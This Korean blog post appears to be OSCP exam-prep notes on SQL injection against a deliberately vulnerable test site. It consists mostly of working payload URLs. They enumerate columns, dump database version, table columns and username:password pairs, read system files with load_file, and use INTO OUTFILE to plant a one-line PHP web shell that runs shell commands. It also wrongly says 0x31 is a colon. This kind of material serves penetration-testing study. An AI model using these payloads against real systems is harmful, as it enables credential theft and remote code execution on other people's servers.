Error based SQL Injection
-
컬럼 Enumeration
order by 명령 12개에서 에러가 발생하므로 컬럼수 는 11개
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+11--
http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12-- -
출력 위치 파악
* 어떤 웹 어플리케이션의 경우, 파라미터 값이 -1 등 범위를 벗어난 값이 입력되야 출력되는 경우도 있다.
2하고 7 그리고 9가 화면에 출력 됨
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+all+1,2,3,4,5,6,7,8,9,10,11-- -
DB정보 추출하기
출력되는 숫자의 위치에 함수 넣어 실행시킨다.
버전명: @@version
유저명: user()
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+all+1,@@version,3,4,5,6,user(),8,9,10,11--
-
users 테이블의 쿼리명 추출하기
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+all+1,column_name,3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name='users' -
계정과 비밀번호 추출하기
0x31는 아스키 문자로 콜로이다.아이디:패스워드 형식으로 출력하기 위한 장치.
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+all+1,concat(uname,0x3a,pass),3,4,5,6,7,8,9,10,11+from+users
코드 실행 for MySQL
웹 서비스를 실행하는 사용자의 권한에 따라 읽고 쓸수 있는 파일&디렉토리에 제한이 있다.
OUTFILE 명령시 파일이 저장될 웹 루트를 추측하거나 알고 있어야함.
- load_file: 출력백터에 load_file 함수를 넣어주면된다.
union select 1,2,load_file('c:/windows/system32/drivers/etc/hosts'),4-- - into outfile : union select 함수의 결과를 파일로 저장함
union select 1,2,load_file('/etc/'hosts'),4+into+OUTFILE+'c:/xampp/htdocs/shell.php'--
코드 실행
http://아이피.php?cmd=ifconfig
다음 단계로써는..한줄 웹 쉘을 생성하여 실행해야한다.
union select 1,2,'<?php system($_REQUEST["exec"]);?>',4+into+OUTFILE+'/var/www/html/test.php'--
인잭션 치트시트
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
'OSCP > 시험대비' 카테고리의 다른 글
Windows privsec 테크닉 (0) | 2020.09.28 |
---|---|
OSCP 후기 (0) | 2020.07.30 |
Enumeration for Escalation 스크립트 비교 (bat, exe, sh) (0) | 2020.07.17 |
Manual Privilege Escalation (0) | 2020.07.15 |
파워 쉘 for 침투테스트-2 (0) | 2020.07.15 |